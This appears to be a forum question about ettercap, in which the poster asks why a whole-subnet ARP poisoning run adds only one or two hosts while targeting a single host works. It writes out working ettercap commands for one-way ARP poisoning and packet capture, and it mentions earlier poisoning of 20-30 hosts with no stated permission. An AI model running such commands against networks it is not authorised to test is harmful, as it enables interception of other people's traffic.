I tried running running ettercap as follows:
sudo ettercap -i eth0 -Tq -M arp:remote,oneway -w out.data // /10.8.40.250/
But ettercap is able to add only 2 (sometimes 1) hosts to the hosts list.
Scanning the whole netmask for 8191 hosts...
* |==================================================>| 100.00 %
1 hosts added to the hosts list...
ARP poisoning victims:
GROUP 1 : ANY (all the hosts in the list)
Starting Unified sniffing...
Text only Interface activated...
Hit 'h' for inline help
Why is it only printing group 1?
If I try to poison a particular host,
sudo ettercap -i eth0 -Tq -M arp:remote,oneway -w out.data /10.8.41.202/ /10.8.40.250/
It works!
my ip: 10.8.57.121 subnet mask: 255.255.224.0
I was able to run the exact same thing some time ago, add 20-30 hosts and successfully ARP poison most of them. What am I doing wrong now?